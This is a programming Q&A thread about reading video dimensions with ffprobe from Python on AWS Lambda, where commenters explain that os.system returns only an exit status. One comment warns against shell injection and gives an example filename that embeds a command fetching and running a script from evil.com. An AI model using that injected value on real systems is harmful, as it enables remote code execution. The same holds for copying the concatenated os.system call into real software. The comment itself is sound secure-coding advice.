0

I am using ffprobe and python on Lambda and trying to get the dimensions of a video. I have the code that grabs the localized source file.

# Download the source file from S3
    source_object = s3.Object(source_bucket_name, find_file_name)
    print(f'The source object is {source_object}')
    source_file = '/tmp/source.mp4'
    source_object.download_file(source_file)
    
# Get dimensions of video
    dimensions_x = os.system('ffprobe -v error -select_streams v:0 -show_entries stream=height,width -of csv=s=x:p=0 ' + source_file )
    print(f'The dimensions of x are {dimensions_x}')

The source file is in an S3 bucket and the stored in the /tmp file. However, the print file doesn't show up in my Cloudwatch logs. It seems to pass right over this code as well.

print(f'The dimensions of x are {dimensions_x}')

I have been trying different methods with FFmpeg, all with the same outcome. The code all works as expected except for the code getting the dimensions.

user3324136
  • 415
  • 5
  • 20
  • 2
    `os.system()` only returns exit status, not stdout. Use `subprocess.Popen` instead. – Charles Duffy May 02 '23 at 17:40
  • (also, Just Say No to `shell=True` -- and to things like `os.system()` or `os.popen()` that use a shell unconditionally; invoking subprocesses through a shell introduces serious security problems that you avoid completely when you specify an explicit argv array, which is also faster). – Charles Duffy May 02 '23 at 17:41
  • 1
    ...in particular, as soon as you make `source_file` a variable that people on the other side of a network connection or other privilege boundary can control, you need to worry about someone naming a source file `/uploads/$(curl http://evil.com/rootme.sh | sh).mov` -- which, yes, is a _completely valid_ path. – Charles Duffy May 02 '23 at 17:42

0 Answers0